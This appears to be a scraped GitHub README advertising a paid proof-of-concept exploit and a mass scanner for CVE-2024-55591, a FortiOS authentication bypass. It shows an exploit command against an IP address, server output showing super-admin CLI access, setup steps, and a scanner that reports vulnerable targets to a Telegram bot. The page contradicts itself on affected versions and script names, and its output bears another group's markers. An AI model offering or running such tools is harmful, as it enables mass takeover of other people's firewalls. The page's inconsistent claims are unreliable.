CVE-2024-55591 PoC — Fortinet FortiOS和FortiProxy 安全漏洞

Source

https://github.com/binarywarm/exp-cmd-add-admin-vpn-CVE-2024-55591

Associated Vulnerability

Title: Fortinet FortiOS和FortiProxy 安全漏洞 (CVE-2024-55591)
Description:An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 through 7.0.16 and FortiProxy version 7.0.0 through 7.0.19 and 7.2.0 through 7.2.12 allows a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.

Readme


# CVE-2024-55591: FortiOS Authentication Bypass  

**If you’re reading this, you most likely know what we’re talking about.**

![CVE](https://img.shields.io/badge/CVE-2024--55591-critical)  
![Python](https://img.shields.io/badge/Python-3.8%2B-blue)  
![License](https://img.shields.io/badge/License-MIT-green)  




## *[Download](https://satoshidisk.com/pay/CO99uu) - JUST TAKE IT*

---
# Detection in Action

```
python3 binarywarm-exp.py --host 192.104.119.11 --port 443 --command "show user local" --ssl



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                      ╚═════╝ ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝        ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝
                          



            binarywarm-exp.py
            (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by binarywarm
        
            CVEs: [CVE-2024-55591]

            [*] Checking if target is a FortiOS Management interface
            [*] Target is confirmed as a FortiOS Management interface
            [*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation
            Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337

            Output from server: �
            get system status

            Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
            Unknown action 0

            FAKESERIAL # 
            FAKESERIAL # get system status
            Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
            Security Level: High
            Firmware Signature: certified
            Virus-DB: 1.00000(2018-04-09 18:07)
```
---

#  Description  
A critical authentication bypass vulnerability in FortiOS (versions 7.4.0-7.4.2 and 7.2.0-7.2.6) allows unauthorized administrative access through WebSocket protocol manipulation. This repository contains two tools:
1. **Exploit (exp.py)** - Proof-of-Concept for vulnerability exploitation
2. **Scanner (scanner-cve2024-55591.py)** - Mass detection tool with Telegram notifications

---

#  Technical Details  
**Vulnerability Type**: Session Hijacking via WebSocket Negotiation  
**Attack Vector**:  
- WebSocket handshake manipulation with forged headers  
- Invalid session token acceptance  
- Privileged CLI command execution

#  Pentest Environment Setup in `scrypt` Directory

## 1. Initial Server Configuration

### Update system and install core tools
```
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y git python3.10-venv python3-pip python3-dev build-essential libssl-dev libffi-dev ca-certificates
```
**Affected Components**:  
- `/ws/cli/open` WebSocket endpoint  
- Service Worker API (`/service-worker.js`)

## 2. Install base dependencies
```
sudo apt install -y python3 python3-venv python3-pip git
```
## 3. Create project directory and navigate to it
```
mkdir /scrypt && cd /scrypt
```
## 4. Create Python virtual environment named "pentest"
```
python3 -m venv pentest
```
## 5.  Activate virtual environment
```
source pentest/bin/activate
```
## 6. Install required Python packages
```
pip install requests urllib3 python-telegram-bot
```
## 7. Move the files exp.py, scanner.py, and targets.txt to the /scrypt directory
---
---
# Vulnerability searching

 ## Description
 The script cve2032copy2.py scans a list of Fortinet addresses (listed line-by-line in a text file) for the reported vulnerability 
 and sends positive detection results to your Telegram bot.
 
 ## Start scanner
 ```
 python3 scanner-cve2024-55591.py --file targets.txt --port 443

 ```

File Snapshot

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